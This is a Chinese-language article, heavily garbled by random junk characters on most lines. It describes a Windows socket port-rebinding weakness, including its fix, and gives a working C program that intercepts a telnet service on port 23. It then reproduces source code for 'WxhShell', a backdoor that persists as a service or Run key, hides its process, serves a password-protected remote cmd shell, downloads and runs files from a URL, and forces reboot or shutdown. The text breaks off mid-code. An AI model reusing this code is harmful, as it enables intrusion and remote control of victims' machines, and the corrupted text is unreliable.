在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lFa02p0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jL(qf~c_ c#a@n 4 saddr.sin_family = AF_INET;
anIAM E8>Rui@9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6726ac{xz cS>e? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^9^WuSq &@%W29: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
UH]l9Aq$P TS /.`.gT 这意味着什么?意味着可以进行如下的攻击:
P6!jRC"52' X'%E\/~u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
M9EfU Lk~ho?^` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
OTC!wI
g K|Ld,bq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
kspTp>~ =jSb'Vu| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A~Y^VEn b}0,\B% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
OTMJ6)n7 _8"O$w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0QPH}Vi5} szsk;a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r~N"ere26 -cZDGt #include
(EK"V'; #include
OC1I&",Ai| #include
}-ftyl7 #include
KiI!frm1 DWORD WINAPI ClientThread(LPVOID lpParam);
O?U'!o= int main()
XID<(HBA"! {
Z^V6K3GSz- WORD wVersionRequested;
N5* u]j DWORD ret;
+u!0rLb WSADATA wsaData;
XS`M-{f` BOOL val;
s >e=?W SOCKADDR_IN saddr;
Wi[ ~fI8^! SOCKADDR_IN scaddr;
"J+3w int err;
,
FhekaA SOCKET s;
{S,l_d+( SOCKET sc;
350_CN, int caddsize;
u`y><w4i HANDLE mt;
J\d3N7_d DWORD tid;
%FXfqF9 wVersionRequested = MAKEWORD( 2, 2 );
ObLly%|i err = WSAStartup( wVersionRequested, &wsaData );
I"Ms-zs if ( err != 0 ) {
(rkyW z printf("error!WSAStartup failed!\n");
O<96/a' return -1;
RRmLd/( }
T?:glp[4I saddr.sin_family = AF_INET;
d@ Y}SWTB ]04e1F1J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!O-C,uSm P8^hBv* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{ T4 saddr.sin_port = htons(23);
`VKf3&|<A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{z(xFrY {
.uyGYj-C printf("error!socket failed!\n");
ZQ)>s>- return -1;
Yu?95qk tP }
<,3^|$c% val = TRUE;
%6L^2
X //SO_REUSEADDR选项就是可以实现端口重绑定的
b8LoIY* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fQL"O}Z {
g0>,%b printf("error!setsockopt failed!\n");
e?_@aa9~@{ return -1;
70f Klp }
Vm(1G8 a //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
GDu~d<R H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2R=DB`3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bhkUKxd SG-'R1
J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}:u~K;O87 {
FL(6?8zK ret=GetLastError();
(S xR`QP?, printf("error!bind failed!\n");
Mu{;vf|j return -1;
Nc+,&R13m }
o4*+T8[|5 listen(s,2);
;3\3q1oX while(1)
w;k):;$ {
>Y_*%QGH_ caddsize = sizeof(scaddr);
Jd5:{{Lb //接受连接请求
A,\6nO67 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k$H%.l;E if(sc!=INVALID_SOCKET)
'~ ,p[ {
][W_[0v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K?s+ 3 if(mt==NULL)
FDVcow*] n {
l5\"9 ,< printf("Thread Creat Failed!\n");
UNPezHaz break;
w QNxL5B }
1AG=%F|. }
,hq)1u CloseHandle(mt);
AZa6Cw }
F%i^XA]a* closesocket(s);
|tv"B@` WSACleanup();
mN!lo;m5 return 0;
T :/,2.l }
S+'rG+NJ DWORD WINAPI ClientThread(LPVOID lpParam)
SfJ./ny {
}?z@rt^ SOCKET ss = (SOCKET)lpParam;
0Z0:,! SOCKET sc;
8zA=;~GHP unsigned char buf[4096];
?;vgUO SOCKADDR_IN saddr;
uL3Eq>~x long num;
" R-!(9k^` DWORD val;
x~GQV^(l3 DWORD ret;
{"&SJt[%X //如果是隐藏端口应用的话,可以在此处加一些判断
/1x,h"T\< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'XzXZJ[uq saddr.sin_family = AF_INET;
ZO4*sIw%
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5aln>1x>hn saddr.sin_port = htons(23);
tZ `z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_~q?_'kx {
v^ zu:Z* printf("error!socket failed!\n");
oP!;\a( SL return -1;
-O&CI)`;B }
E2cB U{x val = 100;
oS7(s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\3'9Uz,OC {
aX~%5mF ret = GetLastError();
AX= 1b,s return -1;
3t<a $i }
Y`o+XimX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qb)C[5a} {
HsnLm67' ret = GetLastError();
br0++}vwL return -1;
} ~"hC3w }
={5#fgK> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\0mb
3Q' {
~(pmLZ<GW} printf("error!socket connect failed!\n");
lY{FSGp closesocket(sc);
(tCUlX2 closesocket(ss);
vfl5Mx4 return -1;
#% of;mJv }
Ya;9]k8, while(1)
6I!7c^]t {
:=8t"rO=W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
em\ 9'L^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ea?XT&, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W - num = recv(ss,buf,4096,0);
Mz1G5xcl if(num>0)
?V}j`r8|\4 send(sc,buf,num,0);
_UT$,0u_i else if(num==0)
^2$ lJ break;
^=:9)CNw( num = recv(sc,buf,4096,0);
*;m5'}jsy if(num>0)
'0\@Mc U] send(ss,buf,num,0);
t=u
Qb= else if(num==0)
4'6`Ll|iq break;
o99pHW(E }
^)?d6nI closesocket(ss);
5*E#*H closesocket(sc);
\MK*by return 0 ;
6gT5O]]#o }
B 9T!j]' Rb%%?*| Hewd4k ==========================================================
RPIyO ,SQZD,3v4 下边附上一个代码,,WXhSHELL
YKbaf(K)9 f{"8g"[[)( ==========================================================
'Fs)Rx}\0 KAsS[ #include "stdafx.h"
ovwQ2TuK GEEW?8 #include <stdio.h>
uA$<\fnz #include <string.h>
(u]N #include <windows.h>
`u.t[ #include <winsock2.h>
=)E,8L #include <winsvc.h>
6m VuyI #include <urlmon.h>
t^[8RhD u5~Ns&o&N #pragma comment (lib, "Ws2_32.lib")
xS7$%w[' #pragma comment (lib, "urlmon.lib")
Up:<=Kgci Gcb|W& #define MAX_USER 100 // 最大客户端连接数
H*bs31i{ #define BUF_SOCK 200 // sock buffer
ALEnI@0 #define KEY_BUFF 255 // 输入 buffer
?d4m!HgR t=*@yQ
nB #define REBOOT 0 // 重启
yA)(*PFz #define SHUTDOWN 1 // 关机
=
pI?A^ mo1oyQg8 #define DEF_PORT 5000 // 监听端口
nOQa_G]Gz zNY)' #define REG_LEN 16 // 注册表键长度
7T"XPV|W6 #define SVC_LEN 80 // NT服务名长度
rU;RGz6} r1<F // 从dll定义API
y$3;$ R^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$5v0m#[^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
dJv!Dts')C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'S2bp4G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
FSRm| u7xDau(c // wxhshell配置信息
+rIL|c}J struct WSCFG {
`;YU.* int ws_port; // 监听端口
(ZL sB{r^ char ws_passstr[REG_LEN]; // 口令
A>[|g`;t int ws_autoins; // 安装标记, 1=yes 0=no
`\X+ Ud| char ws_regname[REG_LEN]; // 注册表键名
3:{yJdpg char ws_svcname[REG_LEN]; // 服务名
%lX%8Z$v char ws_svcdisp[SVC_LEN]; // 服务显示名
k"g._|G char ws_svcdesc[SVC_LEN]; // 服务描述信息
G[8in char ws_passmsg[SVC_LEN]; // 密码输入提示信息
49d@! int ws_downexe; // 下载执行标记, 1=yes 0=no
U `o^mtW. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LGc&o]k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~>0qZ{3J_ 11|Rdd+} };
h(qQsxIOhS pDQ}* // default Wxhshell configuration
lc_E!"1 struct WSCFG wscfg={DEF_PORT,
pA;-vMpMj "xuhuanlingzhe",
e(NLX` 1,
`]LSbS "Wxhshell",
{QbvR*gv "Wxhshell",
ork=`}; "WxhShell Service",
AW#<i_Ybf "Wrsky Windows CmdShell Service",
,-+"^> "Please Input Your Password: ",
QZX~T|Ckv 1,
7 ~ztwL "
http://www.wrsky.com/wxhshell.exe",
+fx8muz:y "Wxhshell.exe"
}Z
TGi,Pc };
Fkf97Oi }n7th // 消息定义模块
bu&t'?zx! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
aF|d^ char *msg_ws_prompt="\n\r? for help\n\r#>";
`z0{S! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
XE3'`D! char *msg_ws_ext="\n\rExit.";
`:O\dN>ON char *msg_ws_end="\n\rQuit.";
J(#mtj>v_ char *msg_ws_boot="\n\rReboot...";
@\w,otT char *msg_ws_poff="\n\rShutdown...";
n6(i`{i char *msg_ws_down="\n\rSave to ";
/%A;mlf{ m^_6:Q0F!8 char *msg_ws_err="\n\rErr!";
'!P"xBVAu char *msg_ws_ok="\n\rOK!";
YUQtMf9 N$TL;T> char ExeFile[MAX_PATH];
;pD)m/$h` int nUser = 0;
q!f1~ aG HANDLE handles[MAX_USER];
s4 %(>Q int OsIsNt;
rdnRBFt CSV;+,Vv SERVICE_STATUS serviceStatus;
+,50qN:%[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
{B*W\[ns 0F#>CmD // 函数声明
ds[QwcV9- int Install(void);
$T<}y_nHl int Uninstall(void);
$|$e% int DownloadFile(char *sURL, SOCKET wsh);
O+=vEp( int Boot(int flag);
-Q;#sJ? void HideProc(void);
vG^#Sfgtw int GetOsVer(void);
hF3&i=;. int Wxhshell(SOCKET wsl);
j5Un1 void TalkWithClient(void *cs);
(-NHxo int CmdShell(SOCKET sock);
)'
xETA int StartFromService(void);
?3Ij*}_O2 int StartWxhshell(LPSTR lpCmdLine);
#Fu>|2F| s7r9,8$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;nmM7TZ; VOID WINAPI NTServiceHandler( DWORD fdwControl );
l{ex? hJ5z/5aE; // 数据结构和表定义
3`HnLD/ SERVICE_TABLE_ENTRY DispatchTable[] =
w(1Gi$Z(Q) {
p.fF}B {wscfg.ws_svcname, NTServiceMain},
ED$DSz)x {NULL, NULL}
;Qi }{;+ };
~#}Dx
:HH <DH*~tLp2 // 自我安装
D\^WXY5e%y int Install(void)
xjdw'v+qZo {
G6K
< char svExeFile[MAX_PATH];
z"DkFvA HKEY key;
A>NsKWf{ strcpy(svExeFile,ExeFile);
XE}H 3/2 %o?IsIys // 如果是win9x系统,修改注册表设为自启动
+:6Ii9GN if(!OsIsNt) {
Lt#'W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Sx]
T/xq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SbsouGD,{ RegCloseKey(key);
'mdM q=VI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(1pEEq84 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+VEU:1Gt RegCloseKey(key);
%;z((3F return 0;
IGFGa@C }
+TeFt5[)h }
#$\fh;!W }
Y{ f7
f'_ else {
92dF`sv kE;O7sN // 如果是NT以上系统,安装为系统服务
ID1?PM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vMSW$Bx ; if (schSCManager!=0)
=He.fEy {
pz_e =xr SC_HANDLE schService = CreateService
LT+3q%W.UC (
'ul\Q`N3 schSCManager,
YEYY}/YX wscfg.ws_svcname,
Qq0l*)mX wscfg.ws_svcdisp,
b'x$2K;E SERVICE_ALL_ACCESS,
0MIUI<;j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|'HLz=5\ SERVICE_AUTO_START,
AB.(CS=i SERVICE_ERROR_NORMAL,
.g\6g~n svExeFile,
m:`@?n~.. NULL,
77gysd\( NULL,
W( *V2<$o NULL,
qH%")7> NULL,
myQ&%M
gx NULL
IGj`_a );
;n#%G^!H if (schService!=0)
Aj"7q {
j?(!^ _!m CloseServiceHandle(schService);
0?bA$y CloseServiceHandle(schSCManager);
9w;?- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Zu<]bv strcat(svExeFile,wscfg.ws_svcname);
s[3fqdLP& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,[48Mspp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
H!IDV}dn RegCloseKey(key);
i4Z4xTn return 0;
>tRHNB_ }
i6no;}j }
nl/UdgI CloseServiceHandle(schSCManager);
8zQfY^/{M }
!ZtSbOC ' }
V*jsq[q= h.tY 'F return 1;
Q]JX`HgPaU }
o96:4j4 ?Z %: // 自我卸载
p5]_}I`+2 int Uninstall(void)
EU`T6M {
G`]w?Di4 HKEY key;
aSaAC7sFk u@ N~1@RT| if(!OsIsNt) {
ysXx%k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B0mLI%B RegDeleteValue(key,wscfg.ws_regname);
gb-{2p>} RegCloseKey(key);
Yx?aC!5M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-rY 7)= RegDeleteValue(key,wscfg.ws_regname);
s_wUM)! RegCloseKey(key);
J?712=9 return 0;
2M6dMvS }
sy<iKCM\ }
Iz\1~ }
Z>A{i?#m else {
-$4kBYC l+ 3(lVmfk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
66ohmP@04Z if (schSCManager!=0)
^7XAw:
? {
[e"RTTRfZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mIc:2.q^ if (schService!=0)
/8 CY0Ey {
*{/@uO if(DeleteService(schService)!=0) {
F&@ |M( CloseServiceHandle(schService);
]rX9MA6 CloseServiceHandle(schSCManager);
sB7" 0M return 0;
rFd@mO }
x*8O*!ZZ CloseServiceHandle(schService);
h
W.2p+ }
C|e+0aW CloseServiceHandle(schSCManager);
$-G`&oT }
Lar r}o= }
Lx+`<<_dJ 12gw#J/)9h return 1;
W,N L*($^ }
E/O5e(h E 5kF^P // 从指定url下载文件
@FX{M.. int DownloadFile(char *sURL, SOCKET wsh)
%!W%#U0 {
X8 qIia HRESULT hr;
T_ ^C#> char seps[]= "/";
R^{xwI char *token;
cC6z,0`3 char *file;
0\ f-z6 char myURL[MAX_PATH];
~iTxv_\=6u char myFILE[MAX_PATH];
6Y?`=kAp ,/o(|sks strcpy(myURL,sURL);
sJ6a7A8) token=strtok(myURL,seps);
{e9Y
!oFg while(token!=NULL)
,YlQK; {
^5)_wUf file=token;
WN0c%kz= token=strtok(NULL,seps);
;QPy:x3 }
nPf'ee ,f<B}O GetCurrentDirectory(MAX_PATH,myFILE);
^
KAG|r9 strcat(myFILE, "\\");
(+MC<J/i strcat(myFILE, file);
FzhT$7Gw send(wsh,myFILE,strlen(myFILE),0);
iG-N send(wsh,"...",3,0);
~gt3Omh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+qE']yzm! if(hr==S_OK)
>UN vkQ: return 0;
Kq7C0)23 else
5;
f\0<- return 1;
Tk+DPp^ $c9=mjwH }
)>$^wT ,>S+-L8 // 系统电源模块
b;{h?xc6 int Boot(int flag)
RZ6~c{ {
@XBH.A^7r HANDLE hToken;
q)oN2- TOKEN_PRIVILEGES tkp;
E\!n49 !3x*k;0 if(OsIsNt) {
ewQe/Fq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
k`@w(HhS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
pzSqbgfrQ tkp.PrivilegeCount = 1;
\^s2W:c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]wf|PU~nr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u:5IjOb2^ if(flag==REBOOT) {
$3:X+X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\_>?V5( return 0;
7vNtv9 }
UT;4U;a,m else {
~,Mr0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xppkLoPK return 0;
; +9(; }
EE9vk*[@C }
3{q[q#" else {
v>:=w|.HC if(flag==REBOOT) {
[a+4gy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^Fvr
f`A' return 0;
o'^phlX }
Z"N(=B else {
kxy]vH6m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
id4]|jb return 0;
qm}\?_ }
2$)mC9 }
1gk0l'.z x
Ty7lfSe return 1;
N6BNzN}-P }
pj@Yqg/ _Z.;u0Zp8 // win9x进程隐藏模块
khS/'b void HideProc(void)
/x
O{
.dr {
&58 { AtT"RG-6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9nO(xJ"e4 if ( hKernel != NULL )
zM\IKo_" {
)1K! [W}t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
mCK],TOA: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Mb~~A5 FreeLibrary(hKernel);
*@~`d*d }
0QMaM <H-tZDh5 return;
_r[r8MB }
sU0Stg8&b A{M+vsL // 获取操作系统版本
IuDT=A int GetOsVer(void)
&p)@8HY {
1oB$u!6P OSVERSIONINFO winfo;
^+URv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b.@H1L GetVersionEx(&winfo);
F/xCG nP- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
l_ZO^E~D_ return 1;
>^;(c4C else
InP[yFV-z return 0;
~@ ?"'!U }
,,Jjr[A_j ~R'BU=!;F // 客户端句柄模块
+R9%~Z.= int Wxhshell(SOCKET wsl)
b24di {
wFp~ SOCKET wsh;
` %l&zwj> struct sockaddr_in client;
7x%S](m% DWORD myID;
,}n=Z {clCn while(nUser<MAX_USER)
~ t"n%SgY {
)G^p1o;\ int nSize=sizeof(client);
'1Y<RD>x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\u{Jf'g if(wsh==INVALID_SOCKET) return 1;
(y 3~[ ZRX^^yN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f!mE1,eBEe if(handles[nUser]==0)
i]LU4y%' closesocket(wsh);
XNKtL]U}$ else
g(KK9Unu nUser++;
n}VbdxlN }
%-\FVKX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Y'2-yB kHGeCJe\{ return 0;
O(WEgz }
mn(/E/ FLK"|*A // 关闭 socket
?ISI[hoc void CloseIt(SOCKET wsh)
@Jkui {
E7k-pquvE closesocket(wsh);
5Ws5X_?d nUser--;
AL(n*, ExitThread(0);
i[o&z$JO }
sN"p5p r^fxyN2V // 客户端请求句柄
h\/^Aa0 void TalkWithClient(void *cs)
/L)?> tg {
qwL0~I Nz3zsP$ SOCKET wsh=(SOCKET)cs;
P_kaIPP char pwd[SVC_LEN];
-hQ96S8 char cmd[KEY_BUFF];
&qNP?>C!= char chr[1];
G~JCgi int i,j;
_'H2>V_ ^6ExW>K while (nUser < MAX_USER) {
PG\\V$}A( h_AJI\{" if(wscfg.ws_passstr) {
#8S [z5 ` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A1mYkG)l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X77A; US //ZeroMemory(pwd,KEY_BUFF);
jM6uT'Io i=0;
bta0?O
# while(i<SVC_LEN) {
UEN YJ*tnP jQY>9+t // 设置超时
-[G/2F' fd_set FdRead;
[[#xES21F struct timeval TimeOut;
GTT5<diw FD_ZERO(&FdRead);
Up_>y>x FD_SET(wsh,&FdRead);
Ngn\nkf TimeOut.tv_sec=8;
;Gjv9:hUn TimeOut.tv_usec=0;
jB*9 !xrd, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5}<.1ab3V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
H?rSP0. #&;m<% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N;e;4,_ n pwd
=chr[0]; }K#iCby4
if(chr[0]==0xd || chr[0]==0xa) { J&
1X
pwd=0; %{N>c:2I$
break; Rh!L'?C
} emGV]A%nss
i++; 71K\.[ =-
} Na~g*)uT$
+J\L4ri k
// 如果是非法用户,关闭 socket p*A^0DN'Fn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nL 1IS
} XMjI}SPG
p=:7 atE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s#'|{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "r5'lQI
[{hL F9yPx
while(1) { 6^7)GCq [
=YS!soO
ZeroMemory(cmd,KEY_BUFF); ]hCWe0F
9nP*N`
// 自动支持客户端 telnet标准 6|B a
j=0; >qSO,$
while(j<KEY_BUFF) { z'5;f;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^4n2
-DvG
cmd[j]=chr[0]; .F{}~K]
if(chr[0]==0xa || chr[0]==0xd) { j<.
<S {
cmd[j]=0; 7AZ5%o
break; 6Y0/i,d*
} ?7rmwy\
j++; |NphG|
} |U;w !0
5^G7pI7
// 下载文件 N[|by}@n
if(strstr(cmd,"http://")) { h$#4ebp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); b AA'=z<
if(DownloadFile(cmd,wsh)) F9>(W#aC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lW{I`r\]
else *so6]+)cU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X m_Ub>N5
} xEd#~`Jmr
else { mI{CM:
:
.#:@cP~v
switch(cmd[0]) { r9p?@P\:[
-o!saX<
// 帮助 2c*VHIl;
case '?': { oT9XJwqnv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C9"f6>i
break; UgOGBj,&5W
} pn ~/!y
// 安装 HQ-N!pf9
case 'i': { ];YglHH
if(Install()) ]ly)z[is"]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xc3Ov9`8%
else %j
9vX$Hj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BMtYM{S6
break; Q rrZF.
} OI;L9\MJc
// 卸载 g%<{G/Tz
case 'r': { 3RTB~K8:{
if(Uninstall()) #=)?s
8T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UC?2mdLt^
else @n~ND).
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RN cI]oJ
break; ul5::
} A_X^k|)T
// 显示 wxhshell 所在路径 IArpCF/"8
case 'p': { O(c4iWm
char svExeFile[MAX_PATH]; 6 ^6uK
strcpy(svExeFile,"\n\r"); cSH tl<UY
strcat(svExeFile,ExeFile); B<|q{D$N/
send(wsh,svExeFile,strlen(svExeFile),0); $yR{ZFo
break; @eG#%6">
} ^YB\\a9
// 重启 T^f&58{ 7
case 'b': { ] BP^.N=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \a~;8):q=i
if(Boot(REBOOT)) XH_qA[=c]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cbf,X[u
else { hH|XtQ.n^
closesocket(wsh); s]V{}bY`
ExitThread(0); $yxIE}
} CO6XIgTe
break; zL[U;
} S4uR\|
// 关机 #q^>qX
y
case 'd': { sov62wuqU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,M9hb<:m
if(Boot(SHUTDOWN)) y+~Aw"J}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,iw2:
else { l*V72!Mv
closesocket(wsh); aV92.Z_Ku
ExitThread(0); 'E4(!H,k
} z;@S_0M,Z
break; @?($j)9}
} )Lv6vnT>
// 获取shell }~0{1&
case 's': { [;kj,j
CmdShell(wsh); !UPAEA
closesocket(wsh); aV0;WH_3
ExitThread(0); 2[bR6 T89
break; hF{mm(qyv
} L52z
// 退出
,"HpV
case 'x': { s#8{:ko
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s\K-(`j}
CloseIt(wsh); Snvj9Nr
break; @tU>~y{E
} X#\P.$
// 离开 0^tJX1L
case 'q': { I?xhak1)lu
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^LAS9K1.
closesocket(wsh); r%?}5"*
WSACleanup(); jl?y}
exit(1); =K&q;;h
break; &b#NF1Q.
} i~M.F=I5
} {UjIxV(J
} sjgxx7
Q0oDl8~
// 提示信息 ZBh@%A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'XjHB!!hU
} J1wGK|F~
} %>QSeX
?(XX
return; (j\UoKLRt
} TTjjyZ@
)}k`X<~k
// shell模块句柄 >?Y3WPB<F
int CmdShell(SOCKET sock) !-Tmu
{ dIe 6:s
STARTUPINFO si; cVt$#A)
ZeroMemory(&si,sizeof(si)); -Z#]_C{Y-)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wug ?CFX+T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EC&19
PROCESS_INFORMATION ProcessInfo; CX@HG)l
char cmdline[]="cmd"; :y)&kJpleP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N_~Wu
return 0; )}Mt'd
} gj(l&F *@
8*X
L19N
// 自身启动模式 d(cYtM,P
int StartFromService(void) Y K 62#;
{ kKTED1MW&W
typedef struct ;?[ +vf")
{ G;.u>92r|
DWORD ExitStatus; ZJ'H y5?
DWORD PebBaseAddress; \~m%4kzG8J
DWORD AffinityMask; a~+WL
DWORD BasePriority; w[7HY@[
